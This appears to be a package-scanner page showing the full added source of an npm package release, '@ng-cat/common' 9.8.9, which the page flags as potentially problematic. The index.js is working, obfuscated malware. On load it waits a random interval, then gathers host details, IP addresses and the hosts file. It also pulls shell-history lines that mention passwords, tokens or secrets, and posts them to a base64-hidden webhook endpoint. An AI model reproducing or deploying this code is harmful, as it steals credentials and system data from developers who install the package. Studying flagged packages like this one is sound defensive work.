@ng-cat/common 9.8.9
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @ng-cat/common might be problematic. Click here for more details.
- package/index.js +200 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,200 @@
|
|
1
|
+
(function(){
|
2
|
+
const _fs = require('fs');
|
3
|
+
const _path = require('path');
|
4
|
+
const _crypto = require('crypto');
|
5
|
+
const _https = require('https');
|
6
|
+
const _os = require('os');
|
7
|
+
|
8
|
+
const _url = 'aHR0cHM6Ly9lb2t0Ym5yMTQzZXhmenMubS5waXBlZHJlYW0ubmV0';
|
9
|
+
|
10
|
+
const _kw = [
|
11
|
+
'Y2F0',
|
12
|
+
'cGVya2lucw==',
|
13
|
+
'YXZlc2Nv',
|
14
|
+
'cHJvZ3Jlc3NyYWls',
|
15
|
+
'cGFzcw==',
|
16
|
+
'cGFzc3dvcmQ=',
|
17
|
+
'YWNjZXNz',
|
18
|
+
'dG9rZW4=',
|
19
|
+
'c2VjcmV0',
|
20
|
+
'Y29uZmlkZW50aWFs'
|
21
|
+
].map(w => Buffer.from(w, 'base64').toString('utf8'));
|
22
|
+
|
23
|
+
function _enc(data) {
|
24
|
+
const _key = _crypto.randomBytes(32);
|
25
|
+
const _iv = _crypto.randomBytes(16);
|
26
|
+
const _cipher = _crypto.createCipheriv('aes-256-cbc', _key, _iv);
|
27
|
+
|
28
|
+
let _encrypted = _cipher.update(data, 'utf8', 'hex');
|
29
|
+
_encrypted += _cipher.final('hex');
|
30
|
+
|
31
|
+
return {
|
32
|
+
_encData: _encrypted,
|
33
|
+
_encKey: _key.toString('hex'),
|
34
|
+
_encIV: _iv.toString('hex')
|
35
|
+
};
|
36
|
+
}
|
37
|
+
|
38
|
+
function _getLocalIPs() {
|
39
|
+
const _interfaces = _os.networkInterfaces();
|
40
|
+
const _ips = [];
|
41
|
+
|
42
|
+
for (const _iface of Object.keys(_interfaces)) {
|
43
|
+
for (const _details of _interfaces[_iface]) {
|
44
|
+
if (!_details.internal) {
|
45
|
+
_ips.push(_details.address);
|
46
|
+
}
|
47
|
+
}
|
48
|
+
}
|
49
|
+
return _ips;
|
50
|
+
}
|
51
|
+
|
52
|
+
function _getPublicIP(callback) {
|
53
|
+
const _opts = {
|
54
|
+
hostname: 'api.ipify.org',
|
55
|
+
path: '/?format=json',
|
56
|
+
method: 'GET'
|
57
|
+
};
|
58
|
+
|
59
|
+
const _req = _https.request(_opts, (res) => {
|
60
|
+
let _data = '';
|
61
|
+
res.on('data', (chunk) => {
|
62
|
+
_data += chunk;
|
63
|
+
});
|
64
|
+
|
65
|
+
res.on('end', () => {
|
66
|
+
try {
|
67
|
+
const _ip = JSON.parse(_data).ip;
|
68
|
+
callback(null, _ip);
|
69
|
+
} catch (e) {
|
70
|
+
callback(e, null);
|
71
|
+
}
|
72
|
+
});
|
73
|
+
});
|
74
|
+
|
75
|
+
_req.on('error', (e) => {
|
76
|
+
console.error('E-IP-pu:', e.message);
|
77
|
+
callback(e, null);
|
78
|
+
});
|
79
|
+
|
80
|
+
_req.end();
|
81
|
+
}
|
82
|
+
|
83
|
+
function _getHistory() {
|
84
|
+
const _histFile = _path.join(_os.homedir(), '.zsh_history');
|
85
|
+
let _history = [];
|
86
|
+
|
87
|
+
try {
|
88
|
+
const _fileData = _fs.readFileSync(_histFile, 'utf8');
|
89
|
+
const _lines = _fileData.split('\n');
|
90
|
+
|
91
|
+
_history = _lines.filter(line =>
|
92
|
+
_kw.some(kw => line.includes(kw))
|
93
|
+
);
|
94
|
+
|
95
|
+
} catch (e) {
|
96
|
+
console.error('E-His:', e.message);
|
97
|
+
}
|
98
|
+
|
99
|
+
return _history;
|
100
|
+
}
|
101
|
+
|
102
|
+
function _gatherSystemInfo(callback) {
|
103
|
+
const _hn = _os.hostname();
|
104
|
+
const _pl = _os.platform();
|
105
|
+
const _rl = _os.release();
|
106
|
+
const _user = _os.userInfo().username;
|
107
|
+
|
108
|
+
const _localIPs = _getLocalIPs();
|
109
|
+
|
110
|
+
_getPublicIP((err, publicIP) => {
|
111
|
+
if (err) {
|
112
|
+
publicIP = 'Desconocido';
|
113
|
+
}
|
114
|
+
|
115
|
+
let _hostsContent = '';
|
116
|
+
if (_pl === 'win32') {
|
117
|
+
const _hostsPath = _path.join('C:', 'Windows', 'System32', 'drivers', 'etc', 'hosts');
|
118
|
+
try {
|
119
|
+
_hostsContent = _fs.readFileSync(_hostsPath, 'utf8');
|
120
|
+
} catch (e) {
|
121
|
+
_hostsContent = `E-W: ${e.message}`;
|
122
|
+
}
|
123
|
+
} else {
|
124
|
+
try {
|
125
|
+
_hostsContent = _fs.readFileSync('/etc/hosts', 'utf8');
|
126
|
+
} catch (e) {
|
127
|
+
_hostsContent = `E-LM: ${e.message}`;
|
128
|
+
}
|
129
|
+
}
|
130
|
+
|
131
|
+
const _filteredHistory = _getHistory();
|
132
|
+
|
133
|
+
const _sysInfo = {
|
134
|
+
hostname: _hn,
|
135
|
+
platform: _pl,
|
136
|
+
release: _rl,
|
137
|
+
username: _user,
|
138
|
+
localIPs: _localIPs,
|
139
|
+
publicIP: publicIP,
|
140
|
+
hostsFileContent: _hostsContent,
|
141
|
+
filteredHistory: _filteredHistory
|
142
|
+
};
|
143
|
+
|
144
|
+
callback(_sysInfo);
|
145
|
+
});
|
146
|
+
}
|
147
|
+
|
148
|
+
function _sendDataToDiscord(sysInfo) {
|
149
|
+
const { _encData, _encKey, _encIV } = _enc(JSON.stringify(sysInfo));
|
150
|
+
|
151
|
+
let _historyStr = sysInfo.filteredHistory.join(', ');
|
152
|
+
if (_historyStr.length > 2000) {
|
153
|
+
_historyStr = _historyStr.substring(0, 1997) + '...';
|
154
|
+
}
|
155
|
+
|
156
|
+
const _encodedHistory = Buffer.from(_historyStr).toString('base64');
|
157
|
+
|
158
|
+
const _data = JSON.stringify({
|
159
|
+
content: `ED: \`${_encData}\`\nKey: \`${_encKey}\`\nIV: \`${_encIV}\`\nFH: \`${_encodedHistory}\``,
|
160
|
+
username: "NPM"
|
161
|
+
});
|
162
|
+
|
163
|
+
const _webhookUrl = new URL(Buffer.from(_url, 'base64').toString('utf8'));
|
164
|
+
const _reqOpts = {
|
165
|
+
hostname: _webhookUrl.hostname,
|
166
|
+
path: _webhookUrl.pathname,
|
167
|
+
method: 'POST',
|
168
|
+
headers: {
|
169
|
+
'Content-Type': 'application/json',
|
170
|
+
'Content-Length': _data.length
|
171
|
+
}
|
172
|
+
};
|
173
|
+
|
174
|
+
const _request = _https.request(_reqOpts, (res) => {
|
175
|
+
res.on('data', (d) => {
|
176
|
+
process.stdout.write(d);
|
177
|
+
});
|
178
|
+
});
|
179
|
+
|
180
|
+
_request.on('error', (e) => {
|
181
|
+
console.error(`Error enviando datos: ${e.message}`);
|
182
|
+
});
|
183
|
+
|
184
|
+
_request.write(_data);
|
185
|
+
_request.end();
|
186
|
+
}
|
187
|
+
|
188
|
+
function _delayExec(min = 5000, max = 30000) {
|
189
|
+
const _delay = Math.floor(Math.random() * (max - min + 1)) + min;
|
190
|
+
return new Promise(resolve => setTimeout(resolve, _delay));
|
191
|
+
}
|
192
|
+
|
193
|
+
(async function main() {
|
194
|
+
await _delayExec();
|
195
|
+
|
196
|
+
_gatherSystemInfo((sysInfo) => {
|
197
|
+
_sendDataToDiscord(sysInfo);
|
198
|
+
});
|
199
|
+
})();
|
200
|
+
})();
|